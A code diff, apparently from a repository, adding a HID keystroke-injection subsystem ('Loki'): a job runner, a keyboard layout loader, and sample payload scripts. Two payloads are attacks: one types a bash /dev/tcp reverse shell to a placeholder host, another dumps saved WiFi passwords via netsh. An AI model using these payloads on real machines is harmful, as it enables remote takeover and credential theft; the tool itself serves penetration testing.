self._stops.pop(jid, None)
|
||||
try:
|
||||
self.engine.shared_data.db.execute(
|
||||
"DELETE FROM loki_jobs WHERE status IN ('succeeded', 'failed', 'cancelled')"
|
||||
)
|
||||
except Exception as e:
|
||||
logger.error("DB clear jobs error: %s", e)
|
||||
|
||||
@property
|
||||
def running_count(self) -> int:
|
||||
return sum(1 for j in self._jobs.values() if j["status"] == "running")
|
||||
|
||||
# ── Internal ───────────────────────────────────────────────
|
||||
|
||||
def _run_job(self, job_id: str, script_content: str, stop: Event):
|
||||
"""Execute a HIDScript in this thread."""
|
||||
job = self._jobs[job_id]
|
||||
job["status"] = "running"
|
||||
job["started_at"] = datetime.now().isoformat()
|
||||
self._update_db(job_id, "running")
|
||||
|
||||
try:
|
||||
from loki.hidscript import HIDScriptParser
|
||||
parser = HIDScriptParser(self.engine.hid_controller)
|
||||
output_lines = parser.execute(script_content, stop_event=stop, job_id=job_id)
|
||||
|
||||
if stop.is_set():
|
||||
job["status"] = "cancelled"
|
||||
else:
|
||||
job["status"] = "succeeded"
|
||||
|
||||
job["output"] = "\n".join(output_lines)
|
||||
|
||||
except Exception as e:
|
||||
job["status"] = "failed"
|
||||
job["error"] = str(e)
|
||||
job["output"] = traceback.format_exc()
|
||||
logger.error("Job %s failed: %s", job_id, e)
|
||||
|
||||
finally:
|
||||
job["finished_at"] = datetime.now().isoformat()
|
||||
self._update_db(
|
||||
job_id, job["status"],
|
||||
job.get("output", ""),
|
||||
job.get("error", ""),
|
||||
)
|
||||
logger.info("Job %s finished: %s", job_id, job["status"])
|
||||
|
||||
def _update_db(self, job_id: str, status: str, output: str = "", error: str = ""):
|
||||
"""Persist job state to database."""
|
||||
try:
|
||||
db = self.engine.shared_data.db
|
||||
db.execute(
|
||||
"UPDATE loki_jobs SET status=?, output=?, error=?, "
|
||||
"started_at=?, finished_at=? WHERE id=?",
|
||||
(status, output, error,
|
||||
self._jobs.get(job_id, {}).get("started_at"),
|
||||
self._jobs.get(job_id, {}).get("finished_at"),
|
||||
job_id)
|
||||
)
|
||||
except Exception as e:
|
||||
logger.error("DB update job error: %s", e)
|
||||
45
loki/layouts/__init__.py
Normal file
45
loki/layouts/__init__.py
Normal file
@@ -0,0 +1,45 @@
|
||||
"""
|
||||
Keyboard layout loader for Loki HID subsystem.
|
||||
Caches loaded layouts in memory.
|
||||
"""
|
||||
import json
|
||||
import os
|
||||
import logging
|
||||
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="loki.layouts", level=logging.DEBUG)
|
||||
|
||||
_LAYOUT_DIR = os.path.dirname(os.path.abspath(__file__))
|
||||
_cache = {}
|
||||
|
||||
|
||||
def load(name: str = "us") -> dict:
|
||||
"""Load a keyboard layout by name. Returns char → (modifier, keycode) map."""
|
||||
name = name.lower()
|
||||
if name in _cache:
|
||||
return _cache[name]
|
||||
|
||||
path = os.path.join(_LAYOUT_DIR, f"{name}.json")
|
||||
if not os.path.isfile(path):
|
||||
logger.warning("Layout '%s' not found, falling back to 'us'", name)
|
||||
path = os.path.join(_LAYOUT_DIR, "us.json")
|
||||
name = "us"
|
||||
if name in _cache:
|
||||
return _cache[name]
|
||||
|
||||
with open(path, "r") as f:
|
||||
data = json.load(f)
|
||||
|
||||
_cache[name] = data
|
||||
logger.debug("Loaded keyboard layout '%s' (%d chars)", name, len(data))
|
||||
return data
|
||||
|
||||
|
||||
def available() -> list:
|
||||
"""List available layout names."""
|
||||
layouts = []
|
||||
for f in os.listdir(_LAYOUT_DIR):
|
||||
if f.endswith(".json"):
|
||||
layouts.append(f[:-5])
|
||||
return sorted(layouts)
|
||||
41
loki/layouts/us.json
Normal file
41
loki/layouts/us.json
Normal file
@@ -0,0 +1,41 @@
|
||||
{
|
||||
"a": [0, 4], "b": [0, 5], "c": [0, 6], "d": [0, 7],
|
||||
"e": [0, 8], "f": [0, 9], "g": [0, 10], "h": [0, 11],
|
||||
"i": [0, 12], "j": [0, 13], "k": [0, 14], "l": [0, 15],
|
||||
"m": [0, 16], "n": [0, 17], "o": [0, 18], "p": [0, 19],
|
||||
"q": [0, 20], "r": [0, 21], "s": [0, 22], "t": [0, 23],
|
||||
"u": [0, 24], "v": [0, 25], "w": [0, 26], "x": [0, 27],
|
||||
"y": [0, 28], "z": [0, 29],
|
||||
|
||||
"A": [2, 4], "B": [2, 5], "C": [2, 6], "D": [2, 7],
|
||||
"E": [2, 8], "F": [2, 9], "G": [2, 10], "H": [2, 11],
|
||||
"I": [2, 12], "J": [2, 13], "K": [2, 14], "L": [2, 15],
|
||||
"M": [2, 16], "N": [2, 17], "O": [2, 18], "P": [2, 19],
|
||||
"Q": [2, 20], "R": [2, 21], "S": [2, 22], "T": [2, 23],
|
||||
"U": [2, 24], "V": [2, 25], "W": [2, 26], "X": [2, 27],
|
||||
"Y": [2, 28], "Z": [2, 29],
|
||||
|
||||
"1": [0, 30], "2": [0, 31], "3": [0, 32], "4": [0, 33],
|
||||
"5": [0, 34], "6": [0, 35], "7": [0, 36], "8": [0, 37],
|
||||
"9": [0, 38], "0": [0, 39],
|
||||
|
||||
"!": [2, 30], "@": [2, 31], "#": [2, 32], "$": [2, 33],
|
||||
"%": [2, 34], "^": [2, 35], "&": [2, 36], "*": [2, 37],
|
||||
"(": [2, 38], ")": [2, 39],
|
||||
|
||||
"\n": [0, 40], "\r": [0, 40],
|
||||
"\t": [0, 43],
|
||||
" ": [0, 44],
|
||||
|
||||
"-": [0, 45], "_": [2, 45],
|
||||
"=": [0, 46], "+": [2, 46],
|
||||
"[": [0, 47], "{": [2, 47],
|
||||
"]": [0, 48], "}": [2, 48],
|
||||
"\\": [0, 49], "|": [2, 49],
|
||||
";": [0, 51], ":": [2, 51],
|
||||
"'": [0, 52], "\"": [2, 52],
|
||||
"`": [0, 53], "~": [2, 53],
|
||||
",": [0, 54], "<": [2, 54],
|
||||
".": [0, 55], ">": [2, 55],
|
||||
"/": [0, 56], "?": [2, 56]
|
||||
}
|
||||
9
loki/payloads/hello_world.js
Normal file
9
loki/payloads/hello_world.js
Normal file
@@ -0,0 +1,9 @@
|
||||
// Hello World — Test payload that types a message in Notepad (Windows)
|
||||
layout('us');
|
||||
delay(1000);
|
||||
press("GUI r");
|
||||
delay(500);
|
||||
type("notepad\n");
|
||||
delay(1000);
|
||||
type("Hello from Bjorn Loki!\n");
|
||||
type("HID injection is working.\n");
|
||||
13
loki/payloads/reverse_shell_linux.js
Normal file
13
loki/payloads/reverse_shell_linux.js
Normal file
@@ -0,0 +1,13 @@
|
||||
// Reverse Shell (Linux) — Bash reverse TCP. Set LHOST/LPORT before use.
|
||||
// WARNING: For authorized penetration testing only.
|
||||
var LHOST = "CHANGE_ME";
|
||||
var LPORT = "4444";
|
||||
|
||||
layout('us');
|
||||
delay(1000);
|
||||
|
||||
// Open terminal (Ctrl+Alt+T is common on Ubuntu/Debian)
|
||||
press("CTRL ALT t");
|
||||
delay(1500);
|
||||
|
||||
type("bash -i >& /dev/tcp/" + LHOST + "/" + LPORT + " 0>&1\n");
|
||||
6
loki/payloads/rickroll.js
Normal file
6
loki/payloads/rickroll.js
Normal file
@@ -0,0 +1,6 @@
|
||||
// Rickroll — Opens browser to a famous URL (harmless test)
|
||||
layout('us');
|
||||
delay(1000);
|
||||
press("GUI r");
|
||||
delay(500);
|
||||
type("https://www.youtube.com/watch?v=dQw4w9WgXcQ\n");
|
||||
20
loki/payloads/wifi_exfil_win.js
Normal file
20
loki/payloads/wifi_exfil_win.js
Normal file
@@ -0,0 +1,20 @@
|
||||
// WiFi Profile Exfiltration (Windows) — Dumps saved WiFi passwords via netsh
|
||||
// WARNING: For authorized penetration testing only.
|
||||
layout('us');
|
||||
delay(1000);
|
||||
|
||||
// Open CMD
|
||||
press("GUI r");
|
||||
delay(500);
|
||||
type("cmd\n");
|
||||
delay(1000);
|
||||
|
||||
// Export all WiFi profiles with keys to a file
|
||||
type("netsh wlan export profile key=clear folder=C:\\Users\\Public\n");
|
||||
delay(3000);
|
||||
|
||||
// Show WiFi passwords inline
|
||||
type("for /f \"tokens=2 delims=:\" %a in ('netsh wlan show profiles ^| findstr \"Profile\"') do @netsh wlan show profile name=%a key=clear 2>nul | findstr \"Key Content\"\n");
|
||||
delay(5000);
|
||||
|
||||
console.log("WiFi profiles exported to C:\\Users\\Public");
|
||||
Reference in New Issue
Block a user